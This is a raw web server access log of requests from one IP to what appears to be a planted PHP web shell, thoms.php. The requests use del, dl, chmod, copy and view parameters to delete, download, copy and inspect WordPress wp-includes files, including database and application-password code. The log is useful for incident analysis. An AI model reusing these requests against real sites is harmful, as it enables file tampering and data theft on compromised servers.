45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?del=author-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:02 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12241 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?del=rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?chmod=customize&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=customize&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?dl=sitemaps.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /betcity.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?chmod=block-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?chmod=class-feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fuser.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fuser.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwp-db.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwp-db.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /betcity.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:03 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 12351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /betcity.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?chmod=icons.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?del=atomlib.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59456 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost-formats.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost-formats.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 200 19787 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /betcity.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:04 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /betcity.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13550 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13963 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /betcity.com.tw/wp-includes/images/ HTTP/1.1" 200 1905 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59459 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?chmod=Text&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=Text&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?dl=l10n.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcategory-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11837 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcategory-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:05 -0400] "GET /thoms.php?del=html-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=html-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14968 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71116 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15594 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffonts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffonts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15891 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13710 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /betcity.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?del=customize&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=customize&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /betcity.com.tw/wp-includes/certificates/ HTTP/1.1" 200 792 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19871 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /betcity.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:06 -0400] "GET /thoms.php?dl=media-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?chmod=bookmark.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?dl=ms-blogs.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?del=js&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=js&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14328 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /betcity.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /betcity.com.tw/wp-includes/customize/ HTTP/1.1" 200 2238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?del=class-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13250 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?chmod=block-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?chmod=block-patterns.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12133 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13317 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /betcity.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13474 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?del=block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /betcity.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /betcity.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:08 -0400] "GET /betcity.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
